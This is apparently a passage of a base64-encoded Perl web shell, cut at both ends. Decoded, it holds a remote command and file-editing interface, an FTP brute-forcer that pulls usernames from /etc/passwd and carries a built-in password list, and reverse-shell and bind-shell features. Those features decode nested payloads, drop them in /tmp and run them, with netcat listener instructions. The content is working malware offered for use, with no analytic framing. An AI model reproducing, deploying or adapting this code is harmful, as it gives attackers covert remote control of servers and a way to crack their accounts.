5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0n